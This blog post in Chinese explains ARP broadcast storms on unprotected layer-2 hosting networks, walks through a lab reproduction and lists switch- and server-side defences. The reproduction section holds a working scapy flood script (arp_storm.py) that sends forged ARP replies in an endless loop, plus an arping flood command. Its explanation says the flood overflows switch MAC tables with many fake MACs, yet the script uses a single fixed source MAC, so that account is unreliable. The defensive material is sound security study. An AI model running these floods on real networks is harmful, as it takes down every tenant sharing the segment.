ARP大二层广播风暴原理详解、隔离实验复现与防护方案


在部分防护薄弱的云服务商环境中,仅仅只需要一台普通的虚拟机,处于同一个 /24 C类网段内,就可以触发ARP大二层广播风暴,直接造成整个C段网段全部网络瘫痪。攻击发起的虚拟机自身同样会被海量广播报文影响,出现网络断开、SSH连接闪退的现象。

国内部分小型IDC、中国香港、日本、美国的部分低价海外机房复现该现象的概率较高。究其根源,这类服务商为了压缩硬件与运维成本,采用简单网桥大二层组网,忽略二层安全防护配置。而国内头部云厂商、正规大型IDC,已经标准化部署全套二层安全防护,该攻击无法生效。

很多人会将该现象称之为"漏洞",严格来说,它不属于软件CVE漏洞,是网络架构设计缺陷 + 交换机安全配置缺失共同带来的安全风险。只要补齐二层防护策略,该攻击就会完全失效。

img

攻击表现现象

  1. 网段内全部服务器ping网关出现超高丢包率,从间歇性丢包演变为完全断网;
  2. 服务器面板监控可以看到大量节点网络状态变红,业务访问全部超时;
  3. SSH连接随机断开,重新连接反复失败,网段内所有主机内外网通信全部失效;
  4. 攻击源虚拟机同样无法幸免,海量广播包占用网卡带宽,自身网络也会卡死;
  5. 机房交换机CPU负载显著升高,MAC地址表条目疯狂抖动,大量非法MAC被学习。

攻击完整技术原理

1、正常的ARP工作机制

ARP协议即地址解析协议,作用是把IP地址解析为对应的硬件MAC地址。正常情况下,主机只在需要通信的时候,定向发送少量ARP请求报文,获取网关、目标主机的MAC,报文定向转发,不会大规模向全网广播,交换机MAC地址表记录IP-MAC-端口对应关系,精准转发流量。

2、风险产生的组网前提

  1. 大二层广播域:IDC使用桥接模式,大量不同租户的虚拟机跑在同一个巨大二层广播域,没有划分独立VLAN。一台主机发出的广播报文,可以传递给网段内全部设备。
  2. 交换机防护全部关闭:交换机没有开启DAI动态ARP检测、ARP报文限速、端口隔离。交换机不会校验ARP报文合法性,不管ARP应答是否真实,全部接收转发。

3、广播风暴形成完整过程

  1. 攻击者虚拟机持续构造大量伪造的ARP Reply(ARP应答包),以广播形式发送到整个 /24 网段;
  2. 海量伪造ARP报文不断涌入接入交换机,短时间内快速耗尽交换机MAC地址表存储空间;
  3. MAC地址表溢出之后,交换机无法维护IP、MAC、端口映射关系,无法判断流量该转发到哪个物理端口;
  4. 交换机开启"泛洪机制",把收到的所有数据包,复制转发给广播域内每一个端口;
  5. 整个网段内部形成无限循环的广播流量,也就是广播风暴;
  6. 一方面主机网卡被海量广播包淹没,CPU被占满;另一方面主机ARP缓存被大量虚假IP-MAC映射污染,无法解析网关真实MAC,彻底失去对外通信能力,最终整个C段集体断网。

关键点:不需要攻陷服务器,仅仅依靠二层广播报文,就可以实现同网段批量拒绝服务。


隔离环境下完整实验复现步骤

再次强调:实验环境必须完全隔离,不能触达任何真实业务网络。推荐使用VMware Workstation / KVM本地虚拟化环境。

实验环境硬性条件

  1. 虚拟机网络模式:使用【仅主机模式】私有虚拟网桥,禁止桥接物理网卡、禁止访问互联网;
  2. 自定义私有测试网段,示例: 192.168.50.0/24 ;
  3. 虚拟交换机模拟弱防护:关闭DAI、端口隔离、ARP限速,复刻小厂IDC无防护大二层环境;
  4. 虚拟机操作系统:Ubuntu 22.04 / Kali Linux;同时准备1-2台同网段测试虚拟机,用来观察断网现象。

步骤1:安装所需工具依赖

apt update && apt install python3 python3-pip arp-scan -y
pip3 install scapy
  • arp-scan :网段扫描工具,探测网段存活主机IP、MAC;
  • scapy :网络报文构造库,用来自定义构造伪造ARP广播数据包。

步骤2:探测网段存活主机(对应截图实操)

扫描整个二层广播域,收集网段所有在线设备IP与MAC信息:

sudo arp-scan -l

执行后输出全部同网段设备IP、MAC地址,确认广播域内部设备范围。

步骤3:编写ARP广播风暴实验脚本 arp_storm.py

from scapy.all import *
import random
import time

SEG_PREFIX = "192.168.50"
FAKE_MAC = "aa:bb:cc:dd:ee:ff"

print("=====私有安全实验:ARP二层广播风暴=====")
print("警告:仅用于隔离实验环境,禁止用于公网")

while True:
    host_ip = f"{SEG_PREFIX}.{random.randint(2,254)}"
    pkt = Ether(dst="ff:ff:ff:ff:ff:ff", src=FAKE_MAC) / ARP(
        op=2,
        psrc=host_ip,
        hwsrc=FAKE_MAC,
        pdst=host_ip,
        hwdst="ff:ff:ff:ff:ff:ff"
    )
    sendp(pkt, iface=conf.iface, verbose=False)
    time.sleep(0.0005)

步骤4:运行实验脚本

sudo python3 arp_storm.py

简易命令行测试版本(攻击强度弱于Python脚本,仅做参考)

sudo arping -b -f 192.168.50.255

实验观测现象

  1. 同网段测试虚拟机持续ping网关,出现大量丢包,一段时间后完全无法连通网关;
  2. 虚拟交换机MAC地址表被大量虚假MAC条目填满,流量全部泛洪至所有端口;
  3. 攻击源虚拟机本身网络也会卡顿,SSH会话卡顿甚至断开;
  4. 测试主机arp缓存中出现大量错误IP-MAC对应关系,地址解析完全错乱。

四、故障应急处置方案

如果真实机房不幸触发ARP广播风暴,按照下面顺序执行应急,优先止损:

  1. 第一时间定位攻击源:通过交换机日志、流量统计,找到产生海量ARP报文的服务器,直接断开服务器网络。只要切断报文源头,风暴就会停止扩散。
  2. 清除交换机MAC地址表,清空错误学习条目,等待交换机重新收敛。
  3. 业务服务器批量清空ARP缓存,清除主机内部被污染的ARP映射。
  4. 检查网关设备ARP表,删除伪造的IP-MAC记录。
  5. 复盘交换机配置,补齐二层安全防护,防止再次复现同类风险。

注意:如果不切断攻击源,仅清空ARP缓存,风暴会立刻再次发生。


五、分层完整防护方案

📌 机房/运营商侧(根治风险,最关键)

  1. 合理规划VLAN,拆分广播域

    杜绝超大/24大二层广播域。按租户、业务划分独立VLAN,把广播域缩小。广播报文被限制在VLAN内部,一台主机产生的风暴,不会扩散到整个C段网段。

  2. 开启 DAI 动态ARP检测 Dynamic ARP Inspection

    DAI是对抗ARP欺骗、ARP风暴的核心技术。交换机校验每一个ARP报文,只有合法的IP-MAC映射的ARP报文才允许转发,伪造ARP应答包直接丢弃。

  3. 端口ARP报文速率限制

    对每一个服务器接入端口配置ARP限速,限制每秒允许通过的ARP报文数量。即使服务器被入侵,也无法短时间发出海量ARP包,从源头抑制风暴规模。

  4. 配置端口隔离

    同一VLAN下,虚拟机之间二层互相隔离。虚拟机发出的广播报文,不会转发给其他业务服务器,只能到达网关,阻止攻击横向扩散。

📌 租户服务器侧,用户自救手段

  1. 网关静态ARP绑定

    服务器手动配置网关IP对应的真实MAC静态ARP记录,系统不再接收动态ARP应答去篡改网关MAC,避免网关ARP被污染。

  2. 服务器本地防火墙,过滤异常ARP广播数据包。

  3. 选型机房的时候,优先确认服务商是否具备VLAN隔离、ARP安全防护,避开裸网桥组网、无二层防护的低价IDC。


六、补充总结

  1. 只要交换机开启DAI、端口隔离、合理划分VLAN,该攻击完全无法生效;
  2. 该风险只存在弱防护大二层环境,主流云厂商、正规IDC均已经做了防护;
  3. 该攻击属于拒绝服务攻击,对外实施会留下完整日志,很容易溯源定位到攻击者,不要尝试在公网环境测试。

本文全部内容仅用于网络安全学习研究。

⚠️ 法律红线声明

ARP广播风暴属于二层网络拒绝服务攻击,所有相关操作,仅允许在本人完全持有所有权、物理逻辑双重隔离、完全不接入公网、家庭局域网以及任何第三方网络的私有实验环境中,用于网络安全学习与漏洞原理研究。

未经授权,对商业IDC机房、企业办公内网、公共网络、其他个人所属服务器网段实施ARP欺骗、广播风暴类攻击行为,会直接触犯《中华人民共和国网络安全法》《中华人民共和国刑法》,属于破坏计算机信息系统的违法行为。实施者会面临民事赔偿、运营商封禁、行政处罚,情节严重将承担刑事责任,严禁在非授权网络环境进行任何攻击实操。


手机扫码阅读

微信或手机浏览器扫一扫,随时随地随心阅读与分享

heyunidc核云出现高危跑路前兆|站长该如何做好数据备份与迁移

站点定期自动备份方案:本地+异地双备份防数据丢失

评 论
更换验证码